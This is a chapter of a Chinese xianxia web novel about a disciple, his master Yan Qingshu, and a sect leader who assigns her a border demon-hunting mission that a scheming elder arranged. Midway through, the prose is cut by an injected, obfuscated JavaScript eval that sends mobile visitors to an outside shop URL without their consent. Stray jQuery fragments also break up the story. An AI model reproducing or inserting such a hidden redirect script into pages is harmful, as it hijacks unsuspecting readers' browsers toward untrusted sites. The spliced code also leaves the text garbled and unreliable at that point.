文趣网 > 其他小说 > 师尊她偏要捡炮灰 > 11. 千玑迷魑皆归尘1
    沈景湛睡得迷迷糊糊,翻了个身,感到身下有什么凉凉的定西硌得慌,他睁眼一看,竟是镜天。

    他恍惚了一瞬,镜天不是被师尊拿走了吗?怎么在这里?

    可他的确还在师尊的竹舍里,昨晚不是他的梦。

    阳光穿透竹林疏影,在竹舍窗户前落下星星点点的亮斑中,沈景湛一觉睡醒的迷蒙缓缓褪去。

    坏了!昨夜本想等师尊回来,他却不知不觉睡着了,还一觉睡到了天亮!

    这也不能怪他,实在是这床睡着太舒服了。

    沈景湛扭了扭酸涩的脖子,提起镜天就要走,发现了枕边的白色小瓷瓶。

    他拿起来一看,瓶底写着枕云二字,这是枕云峰的药。

    他拿着瓷瓶,上看下看,放在手心里翻来翻去地看。

    镜天和药瓶应是师尊在他睡着的时候放的。昨夜晏清疏因要出去一趟便拿走了镜天,他还当师尊是忘了三日的期限,完全没有料到,师尊要办的事情就是给他拿药治伤,还把镜天放在了他的身旁!

    想到这一层,沈景湛心底涌上一股热流,激动得在床上打了好几个滚。他把脸埋进被窝里喜不自禁,笑得肩膀都抖起来。

    然而,欣喜过后,一阵莫名的酸涩又如同藤蔓般绞住了心脏,叫他止住了笑声,眼神迷茫了起来。

    思索片刻后,他像是下定了决心,起身简单整理了自己,抚平头顶翘起的呆毛,他穿过竹舍,去敲晏清疏房间的门。

    “师尊,是我,弟子有事想同师尊说。”

    敲了一会儿没有回应,沈景湛脑海中升起不妙的预感,他冲出竹舍大门,看到了正在练剑的池龙见。

    “师兄,你可知师尊她去哪了?”

    池龙见挥剑动作未停,语气平常:“师尊她半个时辰前就被宗主传唤了,你找她有事?”

    沈景湛闻言心头一紧,提着镜天就要御剑飞走,被池龙见眼疾手快地扯住了后腰带,“你这么急干什么去?”

    “我要去找师尊,你放开我,师尊被叫过去一定是因为我。”

    池龙见露出了一个极为困惑的表情,“师尊她被叫过去跟你有什么关系?”

    沈景湛懒得同他解释,腰带却被池龙见攥得死死的,拽也拽不动。

    池龙见见他不理睬,无奈模仿起晏清疏的口吻来:“师尊走前特意叮嘱我,说‘待沈景湛醒了,让他不必跟来,先把伤养好。宗主那边他去了也无用。’”

    “但是……”沈景湛还是有些犹豫。

    池龙见拍了拍沈景湛的肩膀,“师尊都这么说了,你去的话怕是还添乱呢。”

    沈景湛攥着镜天的手紧了紧,他只会添乱吗?

    *

    此时此刻的晏清疏正站在正殿之中,与宗主花知渐大眼瞪小眼。

    “方才所说之事,你意下如何?”宗主好整以暇地等待晏清疏的答复。

    一炷香前,晏清疏刚刚抵达正殿。

    殿内,古朴典雅之气扑面而来,紫檀立柱上雕刻着繁复的花纹,即便年岁已久,刻痕深浅不一,有些甚至落了狰狞的划痕,檀木光泽仍在。

    见微而知著,料想归尘宗曾经确有辉煌时刻,底蕴深厚。

    但晏清疏只是偷瞄了两眼,没有多看。

    行至主座之前,她微微躬身行礼,随后抬头看向主座之人,略有些意外——现任宗主看起来十分年轻,一身平金绣云纹的青琉璃袍,指上戴着象征身份的宗主之戒,虽衣着低调,却难掩雍容尊贵的气质。

    “晏峰主,请坐。”

    晏清疏也不客气,在旁边弟子的引导下,在主座下右手边第二席坐下了。

    但她很快就后悔了,上来就让她坐,意味着谈话一时半会儿结束不了。

    但她坐都坐了,也不好再站起来。

    果不其然,宗主先是扯出两人以前的一些鸡毛蒜皮的小事,听得晏清疏险些脚趾扣地。又提及云隐仙尊在位时如何教出了徐来和晏清疏这两位优秀的弟子,一阵长嘘短吁,话里话外把晏清疏的本事吹上了天,最后又关心起她前一阵子受的伤来。

    晏清疏听得听着就走神了,却也不得不佯装认真,板着脸,适当的时候谦虚一下——要命,修仙界还真是人不可貌相啊……宗主看起来跟晏清疏年岁相差不大,实际上跟晏清疏差了整整一个辈分!这老人味也太冲了。

    好不容易等宗主把该客套的都客套完了,晏清疏趁着宗主喝茶,悄悄扭了扭脚踝,维持一个姿势不动实在又难受又变扭。

    待宗主扭过头,她立马收回脚,维持方才的姿势,端庄坐好。

    宗主终于切入正题:“近来我收到了千玑门弟子的书信,他们正在追踪一魔物,一路追踪到了归尘宗管辖下的北境,出于一些考虑,他们希望归尘宗能派出金丹以上的修士去支援他们,但……”

    宗主话说了一半截然而止,抬手又抿了口茶。

    这才说几句就喝茶是什么意思?战术停顿吗?后面准没好话。晏清疏撩起眼皮,看了一眼宗主,随后自己也波澜不惊地抿了口茶。

    啧,没有栖云峰的茶好喝。

    晏清疏正腹诽这茶水苦涩,宗主那却又发话了:“宗门最近人手格外紧张,徐长老有事不在,我门下三个弟子都有任务在身,其他两位又兼任宗门的重要事务,脱不开身,所以,我想到了晏峰主。”

    “峰主并无其他事务傍身,又达到了元婴境界,所以老身想请峰主出面,帮我解决这一心头大事。当然,若峰主另有要事在身,老身也并不强求。”宗主不急不缓地说着,和善的目光落到晏清疏身上。

    晏清疏敛下内心复杂的思绪,将手中茶具放在一边,陷入沉思。

    上位者给容错的时候,往往一点都不希望被拒绝,恰相反,那是说:“我要把这么重要的事情交给你去做,你千万别让我失望”的意思。

    但晏清疏知道,这件事情,她没有拒绝的必要。

    一方面原主前不久才出关,徐来便带着宗主的意思在鹤长清面前保下她,晏清疏自然得给宗主几分薄面。

    另一方面,她记得系统走之前说过,她不能错过龙傲天的第一份机缘。

    而机缘不会凭空出现,一般都是剧情的产物,说不定,这就是第一个机缘的切入口呢?

    但她还有一个顾虑,就是鹤一声一事。也不知道他会不会暗地里又给她使绊子。

    在她来见宗主之前,其实已经做好了应对的准备,但正殿上只有宗主一人,并没有鹤长清的身影。

    倒不是晏清疏轻敌,鹤长清那老头看上去不是很有心眼的样子。至于宗主,晏清疏其实还看不透她。

    这种偶然发生的外派任务,晏清疏一时半会儿想不到和鹤长清有多大的干系,退一万步说,即便真的是鹤长清提议要让她去的,为了什么呢?<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887252|212592||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>然而众多头绪,理清楚也只是一息功夫,晏清疏刻意拖延了些时间,直到宗主问她意下如何选。

    但晏清疏还是没有一口答应,她问道:“宗主可否细说那魔物?若是千玑门要请求增援,我担心恐怕没那么好对付。”

    但宗主坦然表示,书信中道只是些金丹初期的魔物,于晏清疏而言并不难对付,只是事发地点在两派交界之地,因此需要谨慎处理。

    “这种交涉是惯例了,却也不能掉以轻心,否则小事也可能酿成大祸。”

    末了,宗主道,“我相信晏峰主的实力,希望晏峰主能替我妥善解决此事。”

    晏清疏听完却几乎能肯定,这个任务的第一人选本不该是她。

    既然是惯例,那肯定有惯例处理的人,不然宗门早就被这一堆烂摊子给压垮了。

    晏清疏面上不显,却还是态度不冷不热地答应了——是福不是祸,是祸躲不过。有人特意帮她争取的任务,不去会一会岂不扫兴?

    任务时间定在了三日后。

    晏清疏扯出一抹笑,礼貌辞别宗主,侧头瞥了一眼,果然,主座的石壁后的人耐不住了,露出了衣摆的一角,转回头的时候,她脸上的笑收敛得一点不剩。

    待晏清疏走远了,鹤长清从石壁后走出来,朝宗主作揖道:“多谢宗主成全。”

    宗主收了对晏清疏的那副恬淡,懒洋洋道:“鹤长老不必客气,只需遵守约定,核验一下账目就好。”

    “自然……自然。”鹤长清有些结巴。

    宗主忍不住笑了,“这段时间就麻烦长老了,至于晏清疏那边,长老若真的腾不出手就算了,若是有了余力也请花在正事上别影响了两派之间的友谊。”

    鹤长清冷汗直冒,恭敬答复:“定然不会。”

    宗主没再说话,起身离开了正殿。

    看着宗主的背影,鹤长清脸色变得铁青。

    那封求援信三天前就到了,原本是他手里的烫手山芋,今日借鹤一声一事在宗主面前卖了个惨,说事务繁多对儿子疏于照料,实在难以安心。

    好说歹说总算把这事扔出去了,还刻意不经意地提了一嘴晏清疏,却也趁机被宗主敲了一笔——账目哪里需要核验,分明是要他拿自己的钱去添窟窿!

    鹤长清擦了擦额头的虚汗,回去数自己账目去了。

    晏清疏则回到栖云峰,告知两人此事。

    “池龙见与我同去,沈景湛,你就留在栖云峰吧。”

    但沈景湛却上前说,“师尊,我也要去,我的伤势不严重,不想错过这次历练的机会。”

    晏清疏想了想道:“但栖云峰需有人看护。”

    “秦乐水师兄可以代劳。”

    晏清疏见沈景湛的意愿如此强烈,觉得自己有点命苦。

    一个炼气期的孩子到时候就能顶什么用啊,还得她花力气保护他。

    谁知池龙见也上来帮腔:“师尊,你就带着师弟吧!”

    晏清疏被两人真挚的目光盯得不太自在,只好应下了。

    “那你们这两日潜心修炼,三日后出发。”交代完晏清疏似乎又想起了什么。

    “噢对了,都有乾坤袋吧?给你们的丹药随身带着,以备不时之需。”晏清疏这话主要是提醒池龙见的,总觉得不提醒一下他真的会忘。

    沈景湛一愣,“你们”?

    所以丹药不只他有吗?